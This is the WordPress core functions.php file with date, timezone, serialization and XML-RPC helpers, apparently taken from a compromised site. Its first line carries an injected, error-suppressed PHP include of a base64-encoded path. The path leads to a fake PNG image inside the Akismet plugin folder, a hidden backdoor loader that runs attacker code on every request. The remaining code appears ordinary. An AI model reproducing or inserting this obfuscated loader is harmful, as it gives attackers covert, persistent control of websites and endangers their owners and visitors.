1<?php @include base64_decode("L2hvbWUvdGhlaW50cnVkZXJzL3B1YmxpY19odG1sL3dwLWNvbnRlbnQvcGx1Z2lucy9ha2lzbWV0L19pbmMvaW1nL2xvZ28tcXFxbnNybnNzcnBzbi5wbmc=");?><?php
2/**
3 * Main WordPress API
4 *
5 * @package WordPress
6 */
7
8// Don't load directly.
9if ( ! defined( 'ABSPATH' ) ) {
10 die( '-1' );
11}
12
13require ABSPATH . WPINC . '/option.php';
14
15/**
16 * Converts given MySQL date string into a different format.
17 *
18 * - `$format` should be a PHP date format string.
19 * - 'U' and 'G' formats will return an integer sum of timestamp with timezone offset.
20 * - `$date` is expected to be local time in MySQL format (`Y-m-d H:i:s`).
21 *
22 * Historically UTC time could be passed to the function to produce Unix timestamp.
23 *
24 * If `$translate` is true then the given date and format string will
25 * be passed to `wp_date()` for translation.
26 *
27 * @since 0.71
28 *
29 * @param string $format Format of the date to return.
30 * @param string $date Date string to convert.
31 * @param bool $translate Whether the return date should be translated. Default true.
32 * @return string|int|false Integer if `$format` is 'U' or 'G', string otherwise.
33 * False on failure.
34 */
35function mysql2date( $format, $date, $translate = true ) {
36 if ( empty( $date ) ) {
37 return false;
38 }
39
40 $timezone = wp_timezone();
41 $datetime = date_create( $date, $timezone );
42
43 if ( false === $datetime ) {
44 return false;
45 }
46
47 // Returns a sum of timestamp with timezone offset. Ideally should never be used.
48 if ( 'G' === $format || 'U' === $format ) {
49 return $datetime->getTimestamp() + $datetime->getOffset();
50 }
51
52 if ( $translate ) {
53 return wp_date( $format, $datetime->getTimestamp(), $timezone );
54 }
55
56 return $datetime->format( $format );
57}
58
59/**
60 * Retrieves the current time based on specified type.
61 *
62 * - The 'mysql' type will return the time in the format for MySQL DATETIME field.
63 * - The 'timestamp' or 'U' types will return the current timestamp or a sum of timestamp
64 * and timezone offset, depending on `$gmt`.
65 * - Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d').
66 *
67 * If `$gmt` is a truthy value then both types will use GMT time, otherwise the
68 * output is adjusted with the GMT offset for the site.
69 *
70 * @since 1.0.0
71 * @since 5.3.0 Now returns an integer if `$type` is 'U'. Previously a string was returned.
72 *
73 * @param string $type Type of time to retrieve. Accepts 'mysql', 'timestamp', 'U',
74 * or PHP date format string (e.g. 'Y-m-d').
75 * @param bool $gmt Optional. Whether to use GMT timezone. Default false.
76 * @return int|string Integer if `$type` is 'timestamp' or 'U', string otherwise.
77 */
78function current_time( $type, $gmt = false ) {
79 // Don't use non-GMT timestamp, unless you know the difference and really need to.
80 if ( 'timestamp' === $type || 'U' === $type ) {
81 return $gmt ? time() : time() + (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
82 }
83
84 if ( 'mysql' === $type ) {
85 $type = 'Y-m-d H:i:s';
86 }
87
88 $timezone = $gmt ? new DateTimeZone( 'UTC' ) : wp_timezone();
89 $datetime = new DateTime( 'now', $timezone );
90
91 return $datetime->format( $type );
92}
93
94/**
95 * Retrieves the current time as an object using the site's timezone.
96 *
97 * @since 5.3.0
98 *
99 * @return DateTimeImmutable Date and time object.
100 */
101function current_datetime() {
102 return new DateTimeImmutable( 'now', wp_timezone() );
103}
104
105/**
106 * Retrieves the timezone of the site as a string.
107 *
108 * Uses the `timezone_string` option to get a proper timezone name if available,
109 * otherwise falls back to a manual UTC ± offset.
110 *
111 * Example return values:
112 *
113 * - 'Europe/Rome'
114 * - 'America/North_Dakota/New_Salem'
115 * - 'UTC'
116 * - '-06:30'
117 * - '+00:00'
118 * - '+08:45'
119 *
120 * @since 5.3.0
121 *
122 * @return string PHP timezone name or a ±HH:MM offset.
123 */
124function wp_timezone_string() {
125 $timezone_string = get_option( 'timezone_string' );
126
127 if ( $timezone_string ) {
128 return $timezone_string;
129 }
130
131 $offset = (float) get_option( 'gmt_offset' );
132 $hours = (int) $offset;
133 $minutes = ( $offset - $hours );
134
135 $sign = ( $offset < 0 ) ? '-' : '+';
136 $abs_hour = abs( $hours );
137 $abs_mins = abs( $minutes * 60 );
138 $tz_offset = sprintf( '%s%02d:%02d', $sign, $abs_hour, $abs_mins );
139
140 return $tz_offset;
141}
142
143/**
144 * Retrieves the timezone of the site as a `DateTimeZone` object.
145 *
146 * Timezone can be based on a PHP timezone string or a ±HH:MM offset.
147 *
148 * @since 5.3.0
149 *
150 * @return DateTimeZone Timezone object.
151 */
152function wp_timezone() {
153 return new DateTimeZone( wp_timezone_string() );
154}
155
156/**
157 * Retrieves the date in localized format, based on a sum of Unix timestamp and
158 * timezone offset in seconds.
159 *
160 * If the locale specifies the locale month and weekday, then the locale will
161 * take over the format for the date. If it isn't, then the date format string
162 * will be used instead.
163 *
164 * Note that due to the way WP typically generates a sum of timestamp and offset
165 * with `strtotime()`, it implies offset added at a _current_ time, not at the time
166 * the timestamp represents. Storing such timestamps or calculating them differently
167 * will lead to invalid output.
168 *
169 * @since 0.71
170 * @since 5.3.0 Converted into a wrapper for wp_date().
171 *
172 * @param string $format Format to display the date.
173 * @param int|bool $timestamp_with_offset Optional. A sum of Unix timestamp and timezone offset
174 * in seconds. Default false.
175 * @param bool $gmt Optional. Whether to use GMT timezone. Only applies
176 * if timestamp is not provided. Default false.
177 * @return string The date, translated if locale specifies it.
178 */
179function date_i18n( $format, $timestamp_with_offset = false, $gmt = false ) {
180 $timestamp = $timestamp_with_offset;
181
182 // If timestamp is omitted it should be current time (summed with offset, unless `$gmt` is true).
183 if ( ! is_numeric( $timestamp ) ) {
184 // phpcs:ignore WordPress.DateTime.CurrentTimeTimestamp.Requested
185 $timestamp = current_time( 'timestamp', $gmt );
186 }
187
188 /*
189 * This is a legacy implementation quirk that the returned timestamp is also with offset.
190 * Ideally this function should never be used to produce a timestamp.
191 */
192 if ( 'U' === $format ) {
193 $date = $timestamp;
194 } elseif ( $gmt && false === $timestamp_with_offset ) { // Current time in UTC.
195 $date = wp_date( $format, null, new DateTimeZone( 'UTC' ) );
196 } elseif ( false === $timestamp_with_offset ) { // Current time in site's timezone.
197 $date = wp_date( $format );
198 } else {
199 /*
200 * Timestamp with offset is typically produced by a UTC `strtotime()` call on an input without timezone.
201 * This is the best attempt to reverse that operation into a local time to use.
202 */
203 $local_time = gmdate( 'Y-m-d H:i:s', $timestamp );
204 $timezone = wp_timezone();
205 $datetime = date_create( $local_time, $timezone );
206 $date = wp_date( $format, $datetime->getTimestamp(), $timezone );
207 }
208
209 /**
210 * Filters the date formatted based on the locale.
211 *
212 * @since 2.8.0
213 *
214 * @param string $date Formatted date string.
215 * @param string $format Format to display the date.
216 * @param int $timestamp A sum of Unix timestamp and timezone offset in seconds.
217 * Might be without offset if input omitted timestamp but requested GMT.
218 * @param bool $gmt Whether to use GMT timezone. Only applies if timestamp was not provided.
219 */
220 $date = apply_filters( 'date_i18n', $date, $format, $timestamp, $gmt );
221
222 return $date;
223}
224
225/**
226 * Retrieves the date, in localized format.
227 *
228 * This is a newer function, intended to replace `date_i18n()` without legacy quirks in it.
229 *
230 * Note that, unlike `date_i18n()`, this function accepts a true Unix timestamp, not summed
231 * with timezone offset.
232 *
233 * @since 5.3.0
234 *
235 * @global WP_Locale $wp_locale WordPress date and time locale object.
236 *
237 * @param string $format PHP date format.
238 * @param int|null $timestamp Optional. Unix timestamp. Defaults to current time.
239 * @param DateTimeZone|null $timezone Optional. Timezone to output result in. Defaults to timezone
240 * from site settings.
241 * @return string|false The date, translated if locale specifies it. False on invalid timestamp input.
242 */
243function wp_date( $format, $timestamp = null, $timezone = null ) {
244 global $wp_locale;
245
246 if ( null === $timestamp ) {
247 $timestamp = time();
248 } elseif ( ! is_numeric( $timestamp ) ) {
249 return false;
250 }
251
252 if ( ! $timezone ) {
253 $timezone = wp_timezone();
254 }
255
256 $datetime = date_create( '@' . $timestamp );
257 $datetime->setTimezone( $timezone );
258
259 if ( empty( $wp_locale->month ) || empty( $wp_locale->weekday ) ) {
260 $date = $datetime->format( $format );
261 } else {
262 // We need to unpack shorthand `r` format because it has parts that might be localized.
263 $format = preg_replace( '/(?<!\\\\)r/', DATE_RFC2822, $format );
264
265 $new_format = '';
266 $format_length = strlen( $format );
267 $month = $wp_locale->get_month( $datetime->format( 'm' ) );
268 $weekday = $wp_locale->get_weekday( $datetime->format( 'w' ) );
269
270 for ( $i = 0; $i < $format_length; $i++ ) {
271 switch ( $format[ $i ] ) {
272 case 'D':
273 $new_format .= addcslashes( $wp_locale->get_weekday_abbrev( $weekday ), '\\A..Za..z' );
274 break;
275 case 'F':
276 $new_format .= addcslashes( $month, '\\A..Za..z' );
277 break;
278 case 'l':
279 $new_format .= addcslashes( $weekday, '\\A..Za..z' );
280 break;
281 case 'M':
282 $new_format .= addcslashes( $wp_locale->get_month_abbrev( $month ), '\\A..Za..z' );
283 break;
284 case 'a':
285 $new_format .= addcslashes( $wp_locale->get_meridiem( $datetime->format( 'a' ) ), '\\A..Za..z' );
286 break;
287 case 'A':
288 $new_format .= addcslashes( $wp_locale->get_meridiem( $datetime->format( 'A' ) ), '\\A..Za..z' );
289 break;
290 case '\\':
291 $new_format .= $format[ $i ];
292
293 // If character follows a slash, we add it without translating.
294 if ( $i < $format_length ) {
295 $new_format .= $format[ ++$i ];
296 }
297 break;
298 default:
299 $new_format .= $format[ $i ];
300 break;
301 }
302 }
303
304 $date = $datetime->format( $new_format );
305 $date = wp_maybe_decline_date( $date, $format );
306 }
307
308 /**
309 * Filters the date formatted based on the locale.
310 *
311 * @since 5.3.0
312 *
313 * @param string $date Formatted date string.
314 * @param string $format Format to display the date.
315 * @param int $timestamp Unix timestamp.
316 * @param DateTimeZone $timezone Timezone.
317 */
318 $date = apply_filters( 'wp_date', $date, $format, $timestamp, $timezone );
319
320 return $date;
321}
322
323/**
324 * Determines if the date should be declined.
325 *
326 * If the locale specifies that month names require a genitive case in certain
327 * formats (like 'j F Y'), the month name will be replaced with a correct form.
328 *
329 * @since 4.4.0
330 * @since 5.4.0 The `$format` parameter was added.
331 *
332 * @global WP_Locale $wp_locale WordPress date and time locale object.
333 *
334 * @param string $date Formatted date string.
335 * @param string $format Optional. Date format to check. Default empty string.
336 * @return string The date, declined if locale specifies it.
337 */
338function wp_maybe_decline_date( $date, $format = '' ) {
339 global $wp_locale;
340
341 // i18n functions are not available in SHORTINIT mode.
342 if ( ! function_exists( '_x' ) ) {
343 return $date;
344 }
345
346 /*
347 * translators: If months in your language require a genitive case,
348 * translate this to 'on'. Do not translate into your own language.
349 */
350 if ( 'on' === _x( 'off', 'decline months names: on or off' ) ) {
351
352 $months = $wp_locale->month;
353 $months_genitive = $wp_locale->month_genitive;
354
355 /*
356 * Match a format like 'j F Y' or 'j. F' (day of the month, followed by month name)
357 * and decline the month.
358 */
359 if ( $format ) {
360 $decline = preg_match( '#[dj]\.? F#', $format );
361 } else {
362 // If the format is not passed, try to guess it from the date string.
363 $decline = preg_match( '#\b\d{1,2}\.? [^\d ]+\b#u', $date );
364 }
365
366 if ( $decline ) {
367 foreach ( $months as $key => $month ) {
368 $months[ $key ] = '# ' . preg_quote( $month, '#' ) . '\b#u';
369 }
370
371 foreach ( $months_genitive as $key => $month ) {
372 $months_genitive[ $key ] = ' ' . $month;
373 }
374
375 $date = preg_replace( $months, $months_genitive, $date );
376 }
377
378 /*
379 * Match a format like 'F jS' or 'F j' (month name, followed by day with an optional ordinal suffix)
380 * and change it to declined 'j F'.
381 */
382 if ( $format ) {
383 $decline = preg_match( '#F [dj]#', $format );
384 } else {
385 // If the format is not passed, try to guess it from the date string.
386 $decline = preg_match( '#\b[^\d ]+ \d{1,2}(st|nd|rd|th)?\b#u', trim( $date ) );
387 }
388
389 if ( $decline ) {
390 foreach ( $months as $key => $month ) {
391 $months[ $key ] = '#\b' . preg_quote( $month, '#' ) . ' (\d{1,2})(st|nd|rd|th)?([-–]\d{1,2})?(st|nd|rd|th)?\b#u';
392 }
393
394 foreach ( $months_genitive as $key => $month ) {
395 $months_genitive[ $key ] = '$1$3 ' . $month;
396 }
397
398 $date = preg_replace( $months, $months_genitive, $date );
399 }
400 }
401
402 // Used for locale-specific rules.
403 $locale = get_locale();
404
405 if ( 'ca' === $locale ) {
406 // " de abril| de agost| de octubre..." -> " d'abril| d'agost| d'octubre..."
407 $date = preg_replace( '# de ([ao])#i', " d'\\1", $date );
408 }
409
410 return $date;
411}
412
413/**
414 * Converts float number to format based on the locale.
415 *
416 * @since 2.3.0
417 *
418 * @global WP_Locale $wp_locale WordPress date and time locale object.
419 *
420 * @param float $number The number to convert based on locale.
421 * @param int $decimals Optional. Precision of the number of decimal places. Default 0.
422 * @return string Converted number in string format.
423 */
424function number_format_i18n( $number, $decimals = 0 ) {
425 global $wp_locale;
426
427 if ( isset( $wp_locale ) ) {
428 $formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );
429 } else {
430 $formatted = number_format( $number, absint( $decimals ) );
431 }
432
433 /**
434 * Filters the number formatted based on the locale.
435 *
436 * @since 2.8.0
437 * @since 4.9.0 The `$number` and `$decimals` parameters were added.
438 *
439 * @param string $formatted Converted number in string format.
440 * @param float $number The number to convert based on locale.
441 * @param int $decimals Precision of the number of decimal places.
442 */
443 return apply_filters( 'number_format_i18n', $formatted, $number, $decimals );
444}
445
446/**
447 * Converts a number of bytes to the largest unit the bytes will fit into.
448 *
449 * It is easier to read 1 KB than 1024 bytes and 1 MB than 1048576 bytes. Converts
450 * number of bytes to human readable number by taking the number of that unit
451 * that the bytes will go into it. Supports YB value.
452 *
453 * Please note that integers in PHP are limited to 32 bits, unless they are on
454 * 64 bit architecture, then they have 64 bit size. If you need to place the
455 * larger size then what PHP integer type will hold, then use a string. It will
456 * be converted to a double, which should always have 64 bit length.
457 *
458 * Technically the correct unit names for powers of 1024 are KiB, MiB etc.
459 *
460 * @since 2.3.0
461 * @since 6.0.0 Support for PB, EB, ZB, and YB was added.
462 *
463 * @param int|string $bytes Number of bytes. Note max integer size for integers.
464 * @param int $decimals Optional. Precision of number of decimal places. Default 0.
465 * @return string|false Number string on success, false on failure.
466 */
467function size_format( $bytes, $decimals = 0 ) {
468 $quant = array(
469 /* translators: Unit symbol for yottabyte. */
470 _x( 'YB', 'unit symbol' ) => YB_IN_BYTES,
471 /* translators: Unit symbol for zettabyte. */
472 _x( 'ZB', 'unit symbol' ) => ZB_IN_BYTES,
473 /* translators: Unit symbol for exabyte. */
474 _x( 'EB', 'unit symbol' ) => EB_IN_BYTES,
475 /* translators: Unit symbol for petabyte. */
476 _x( 'PB', 'unit symbol' ) => PB_IN_BYTES,
477 /* translators: Unit symbol for terabyte. */
478 _x( 'TB', 'unit symbol' ) => TB_IN_BYTES,
479 /* translators: Unit symbol for gigabyte. */
480 _x( 'GB', 'unit symbol' ) => GB_IN_BYTES,
481 /* translators: Unit symbol for megabyte. */
482 _x( 'MB', 'unit symbol' ) => MB_IN_BYTES,
483 /* translators: Unit symbol for kilobyte. */
484 _x( 'KB', 'unit symbol' ) => KB_IN_BYTES,
485 /* translators: Unit symbol for byte. */
486 _x( 'B', 'unit symbol' ) => 1,
487 );
488
489 if ( 0 === $bytes ) {
490 /* translators: Unit symbol for byte. */
491 return number_format_i18n( 0, $decimals ) . ' ' . _x( 'B', 'unit symbol' );
492 }
493
494 foreach ( $quant as $unit => $mag ) {
495 if ( (float) $bytes >= $mag ) {
496 return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;
497 }
498 }
499
500 return false;
501}
502
503/**
504 * Converts a duration to human readable format.
505 *
506 * @since 5.1.0
507 *
508 * @param string $duration Duration will be in string format (HH:ii:ss) OR (ii:ss),
509 * with a possible prepended negative sign (-).
510 * @return string|false A human readable duration string, false on failure.
511 */
512function human_readable_duration( $duration = '' ) {
513 if ( ( empty( $duration ) || ! is_string( $duration ) ) ) {
514 return false;
515 }
516
517 $duration = trim( $duration );
518
519 // Remove prepended negative sign.
520 if ( str_starts_with( $duration, '-' ) ) {
521 $duration = substr( $duration, 1 );
522 }
523
524 // Extract duration parts.
525 $duration_parts = array_reverse( explode( ':', $duration ) );
526 $duration_count = count( $duration_parts );
527
528 $hour = null;
529 $minute = null;
530 $second = null;
531
532 if ( 3 === $duration_count ) {
533 // Validate HH:ii:ss duration format.
534 if ( ! ( (bool) preg_match( '/^([0-9]+):([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) {
535 return false;
536 }
537 // Three parts: hours, minutes & seconds.
538 list( $second, $minute, $hour ) = $duration_parts;
539 } elseif ( 2 === $duration_count ) {
540 // Validate ii:ss duration format.
541 if ( ! ( (bool) preg_match( '/^([0-5]?[0-9]):([0-5]?[0-9])$/', $duration ) ) ) {
542 return false;
543 }
544 // Two parts: minutes & seconds.
545 list( $second, $minute ) = $duration_parts;
546 } else {
547 return false;
548 }
549
550 $human_readable_duration = array();
551
552 // Add the hour part to the string.
553 if ( is_numeric( $hour ) ) {
554 /* translators: %s: Time duration in hour or hours. */
555 $human_readable_duration[] = sprintf( _n( '%s hour', '%s hours', $hour ), (int) $hour );
556 }
557
558 // Add the minute part to the string.
559 if ( is_numeric( $minute ) ) {
560 /* translators: %s: Time duration in minute or minutes. */
561 $human_readable_duration[] = sprintf( _n( '%s minute', '%s minutes', $minute ), (int) $minute );
562 }
563
564 // Add the second part to the string.
565 if ( is_numeric( $second ) ) {
566 /* translators: %s: Time duration in second or seconds. */
567 $human_readable_duration[] = sprintf( _n( '%s second', '%s seconds', $second ), (int) $second );
568 }
569
570 return implode( ', ', $human_readable_duration );
571}
572
573/**
574 * Gets the week start and end from the datetime or date string from MySQL.
575 *
576 * @since 0.71
577 *
578 * @param string $mysqlstring Date or datetime field type from MySQL.
579 * @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string.
580 * @return int[] {
581 * Week start and end dates as Unix timestamps.
582 *
583 * @type int $start The week start date as a Unix timestamp.
584 * @type int $end The week end date as a Unix timestamp.
585 * }
586 */
587function get_weekstartend( $mysqlstring, $start_of_week = '' ) {
588 // MySQL string year.
589 $my = substr( $mysqlstring, 0, 4 );
590
591 // MySQL string month.
592 $mm = substr( $mysqlstring, 8, 2 );
593
594 // MySQL string day.
595 $md = substr( $mysqlstring, 5, 2 );
596
597 // The timestamp for MySQL string day.
598 $day = mktime( 0, 0, 0, $md, $mm, $my );
599
600 // The day of the week from the timestamp.
601 $weekday = (int) gmdate( 'w', $day );
602
603 if ( ! is_numeric( $start_of_week ) ) {
604 $start_of_week = (int) get_option( 'start_of_week' );
605 }
606
607 if ( $weekday < $start_of_week ) {
608 $weekday += 7;
609 }
610
611 // The most recent week start day on or before $day.
612 $start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week );
613
614 // $start + 1 week - 1 second.
615 $end = $start + WEEK_IN_SECONDS - 1;
616
617 return compact( 'start', 'end' );
618}
619
620/**
621 * Serializes data, if needed.
622 *
623 * @since 2.0.5
624 *
625 * @param string|array|object $data Data that might be serialized.
626 * @return mixed A scalar data.
627 */
628function maybe_serialize( $data ) {
629 if ( is_array( $data ) || is_object( $data ) ) {
630 return serialize( $data );
631 }
632
633 /*
634 * Double serialization is required for backward compatibility.
635 * See https://core.trac.wordpress.org/ticket/12930
636 * Also the world will end. See WP 3.6.1.
637 */
638 if ( is_serialized( $data, false ) ) {
639 return serialize( $data );
640 }
641
642 return $data;
643}
644
645/**
646 * Unserializes data only if it was serialized.
647 *
648 * @since 2.0.0
649 *
650 * @param string $data Data that might be unserialized.
651 * @return mixed Unserialized data can be any type.
652 */
653function maybe_unserialize( $data ) {
654 if ( is_serialized( $data ) ) { // Don't attempt to unserialize data that wasn't serialized going in.
655 return @unserialize( trim( $data ) );
656 }
657
658 return $data;
659}
660
661/**
662 * Checks value to find if it was serialized.
663 *
664 * If $data is not a string, then returned value will always be false.
665 * Serialized data is always a string.
666 *
667 * @since 2.0.5
668 * @since 6.1.0 Added Enum support.
669 *
670 * @param string $data Value to check to see if was serialized.
671 * @param bool $strict Optional. Whether to be strict about the end of the string. Default true.
672 * @return bool False if not serialized and true if it was.
673 */
674function is_serialized( $data, $strict = true ) {
675 // If it isn't a string, it isn't serialized.
676 if ( ! is_string( $data ) ) {
677 return false;
678 }
679 $data = trim( $data );
680 if ( 'N;' === $data ) {
681 return true;
682 }
683 if ( strlen( $data ) < 4 ) {
684 return false;
685 }
686 if ( ':' !== $data[1] ) {
687 return false;
688 }
689 if ( $strict ) {
690 $lastc = substr( $data, -1 );
691 if ( ';' !== $lastc && '}' !== $lastc ) {
692 return false;
693 }
694 } else {
695 $semicolon = strpos( $data, ';' );
696 $brace = strpos( $data, '}' );
697 // Either ; or } must exist.
698 if ( false === $semicolon && false === $brace ) {
699 return false;
700 }
701 // But neither must be in the first X characters.
702 if ( false !== $semicolon && $semicolon < 3 ) {
703 return false;
704 }
705 if ( false !== $brace && $brace < 4 ) {
706 return false;
707 }
708 }
709 $token = $data[0];
710 switch ( $token ) {
711 case 's':
712 if ( $strict ) {
713 if ( '"' !== substr( $data, -2, 1 ) ) {
714 return false;
715 }
716 } elseif ( ! str_contains( $data, '"' ) ) {
717 return false;
718 }
719 // Or else fall through.
720 case 'a':
721 case 'O':
722 case 'E':
723 return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
724 case 'b':
725 case 'i':
726 case 'd':
727 $end = $strict ? '$' : '';
728 return (bool) preg_match( "/^{$token}:[0-9.E+-]+;$end/", $data );
729 }
730 return false;
731}
732
733/**
734 * Checks whether serialized data is of string type.
735 *
736 * @since 2.0.5
737 *
738 * @param string $data Serialized data.
739 * @return bool False if not a serialized string, true if it is.
740 */
741function is_serialized_string( $data ) {
742 // if it isn't a string, it isn't a serialized string.
743 if ( ! is_string( $data ) ) {
744 return false;
745 }
746 $data = trim( $data );
747 if ( strlen( $data ) < 4 ) {
748 return false;
749 } elseif ( ':' !== $data[1] ) {
750 return false;
751 } elseif ( ! str_ends_with( $data, ';' ) ) {
752 return false;
753 } elseif ( 's' !== $data[0] ) {
754 return false;
755 } elseif ( '"' !== substr( $data, -2, 1 ) ) {
756 return false;
757 } else {
758 return true;
759 }
760}
761
762/**
763 * Retrieves post title from XML-RPC XML.
764 *
765 * If the `title` element is not found in the XML, the default post title
766 * from the `$post_default_title` global will be used instead.
767 *
768 * @since 0.71
769 *
770 * @global string $post_default_title Default XML-RPC post title.
771 *
772 * @param string $content XML-RPC XML Request content.
773 * @return string Post title.
774 */
775function xmlrpc_getposttitle( $content ) {
776 global $post_default_title;
777 if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {
778 $post_title = $matchtitle[1];
779 } else {
780 $post_title = $post_default_title;
781 }
782 return $post_title;
783}
784
785/**
786 * Retrieves the post category or categories from XML-RPC XML.
787 *
788 * If the `category` element is not found in the XML, the default post category
789 * from the `$post_default_category` global will be used instead.
790 * The return type will then be a string.
791 *
792 * If the `category` element is found, the return type will be an array.
793 *
794 * @since 0.71
795 *
796 * @global string $post_default_category Default XML-RPC post category.
797 *
798 * @param string $content XML-RPC XML Request content.
799 * @return string[]|string An array of category names or default category name.
800 */
801function xmlrpc_getpostcategory( $content ) {
802 global $post_default_category;
803 if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {
804 $post_category = trim( $matchcat[1], ',' );
805 $post_category = explode( ',', $post_category );
806 } else {
807 $post_category = $post_default_category;
808 }
809 return $post_category;
810}
811
812/**
813 * XML-RPC XML content without title and category elements.
814 *
815 * @since 0.71
816 *
817 * @param string $content XML-RPC XML Request content.
818 * @return string XML-RPC XML Request content without title and category elements.
819 */
820function xmlrpc_removepostdata( $content ) {
821 $content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );
822 $content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );
823 $content = trim( $content );
824 return $content;
825}
826
827/**
828 * Uses RegEx to extract URLs from arbitrary content.
829 *
830 * @since 3.7.0
831 * @since 6.0.0 Fixes support for HTML entities (Trac 30580).
832 *
833 * @param string $content Content to extract URLs from.
834 * @return string[] Array of URLs found in passed string.
835 */
836function wp_extract_urls( $content ) {
837 preg_match_all(
838 "#([\"']?)("
839 . '(?:([\w-]+:)?//?)'
840 . '[^\s()<>]+'
841 . '[.]'
842 . '(?:'
843 . '\([\w\d]+\)|'
844 . '(?:'
845 . "[^`!()\[\]{}:'\".,<>«»“”‘’\s]|"
846 . '(?:[:]\d+)?/?'
847 . ')+'
848 . ')'
849 . ")\\1#",
850 $content,
851 $post_links
852 );
853
854 $post_links = array_unique(
855 array_map(
856 static function ( $link ) {
857 // Decode to replace valid entities, like &.
858 $link = html_entity_decode( $link );
859 // Maintain backward compatibility by removing extraneous semi-colons (`;`).
860 return str_replace( ';', '', $link );
861 },
862 $post_links[2]
863 )
864 );
865
866 return array_values( $post_links );
867}
868
869/**
870 * Checks content for video and audio links to add as enclosures.
871 *
872 * Will not add enclosures that have already been added and will
873 * remove enclosures that are no longer in the post. This is called as
874 * pingbacks and trackbacks.
875 *
876 * @since 1.5.0
877 * @since 5.3.0 The `$content` parameter was made optional, and the `$post` parameter was
878 * updated to accept a post ID or a WP_Post object.
879 * @since 5.6.0 The `$content` parameter is no longer optional, but passing `null` to skip it
880 * is still supported.
881 *
882 * @global wpdb $wpdb WordPress database abstraction object.
883 *
884 * @param string|null $content Post content. If `null`, the `post_content` field from `$post` is used.
885 * @param int|WP_Post $post Post ID or post object.
886 * @return void|false Void on success, false if the post is not found.
887 */
888function do_enclose( $content, $post ) {
889 global $wpdb;
890
891 // @todo Tidy this code and make the debug code optional.
892 require_once ABSPATH . WPINC . '/class-IXR.php';
893
894 $post = get_post( $post );
895 if ( ! $post ) {
896 return false;
897 }
898
899 if ( null === $content ) {
900 $content = $post->post_content;
901 }
902
903 $post_links = array();
904
905 $pung = get_enclosed( $post->ID );
906
907 $post_links_temp = wp_extract_urls( $content );
908
909 foreach ( $pung as $link_test ) {
910 // Link is no longer in post.
911 if ( ! in_array( $link_test, $post_links_temp, true ) ) {
912 $mids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post->ID, $wpdb->esc_like( $link_test ) . '%' ) );
913 foreach ( $mids as $mid ) {
914 delete_metadata_by_mid( 'post', $mid );
915 }
916 }
917 }
918
919 foreach ( (array) $post_links_temp as $link_test ) {
920 // If we haven't pung it already.
921 if ( ! in_array( $link_test, $pung, true ) ) {
922 $test = parse_url( $link_test );
923 if ( false === $test ) {
924 continue;
925 }
926 if ( isset( $test['query'] ) ) {
927 $post_links[] = $link_test;
928 } elseif ( isset( $test['path'] ) && ( '/' !== $test['path'] ) && ( '' !== $test['path'] ) ) {
929 $post_links[] = $link_test;
930 }
931 }
932 }
933
934 /**
935 * Filters the list of enclosure links before querying the database.
936 *
937 * Allows for the addition and/or removal of potential enclosures to save
938 * to postmeta before checking the database for existing enclosures.
939 *
940 * @since 4.4.0
941 *
942 * @param string[] $post_links An array of enclosure links.
943 * @param int $post_id Post ID.
944 */
945 $post_links = apply_filters( 'enclosure_links', $post_links, $post->ID );
946
947 foreach ( (array) $post_links as $url ) {
948 $url = strip_fragment_from_url( $url );
949
950 if ( '' !== $url && ! $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post->ID, $wpdb->esc_like( $url ) . '%' ) ) ) {
951
952 $headers = wp_get_http_headers( $url );
953 if ( $headers ) {
954 $len = (int) ( $headers['Content-Length'] ?? 0 );
955 $type = $headers['Content-Type'] ?? '';
956 $allowed_types = array( 'video', 'audio' );
957
958 // Check to see if we can figure out the mime type from the extension.
959 $url_parts = parse_url( $url );
960 if ( false !== $url_parts && ! empty( $url_parts['path'] ) ) {
961 $extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION );
962 if ( ! empty( $extension ) ) {
963 foreach ( wp_get_mime_types() as $exts => $mime ) {
964 if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
965 $type = $mime;
966 break;
967 }
968 }
969 }
970 }
971
972 if ( in_array( substr( $type, 0, strpos( $type, '/' ) ), $allowed_types, true ) ) {
973 add_post_meta( $post->ID, 'enclosure', "$url\n$len\n$mime\n" );
974 }
975 }
976 }
977 }
978}
979
980/**
981 * Retrieves HTTP Headers from URL.
982 *
983 * @since 1.5.1
984 *
985 * @param string $url URL to retrieve HTTP headers from.
986 * @param bool $deprecated Not Used.
987 * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|false Headers on success, false on failure.
988 */
989function wp_get_http_headers( $url, $deprecated = false ) {
990 if ( ! empty( $deprecated ) ) {
991 _deprecated_argument( __FUNCTION__, '2.7.0' );
992 }
993
994 $response = wp_safe_remote_head( $url );
995
996 if ( is_wp_error( $response ) ) {
997 return false;
998 }
999
1000 return wp_remote_retrieve_headers( $response );
1001}
1002
1003/**
1004 * Determines whether the publish date of the current post in the loop is different
1005 * from the publish date of the previous post in the loop.
1006 *
1007 * For more information on this and similar theme functions, check out
1008 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
1009 * Conditional Tags} article in the Theme Developer Handbook.
1010 *
1011 * @since 0.71
1012 *
1013 * @global string $currentday The day of the current post in the loop.
1014 * @global string $previousday The day of the previous post in the loop.
1015 *
1016 * @return int 1 when new day, 0 if not a new day.
1017 */
1018function is_new_day() {
1019 global $currentday, $previousday;
1020
1021 if ( $currentday !== $previousday ) {
1022 return 1;
1023 } else {
1024 return 0;
1025 }
1026}
1027
1028/**
1029 * Builds a URL query based on an associative or indexed array.
1030 *
1031 * This is a convenient function for easily building URL queries.
1032 * It sets the separator to '&' and uses the _http_build_query() function.
1033 *
1034 * @since 2.3.0
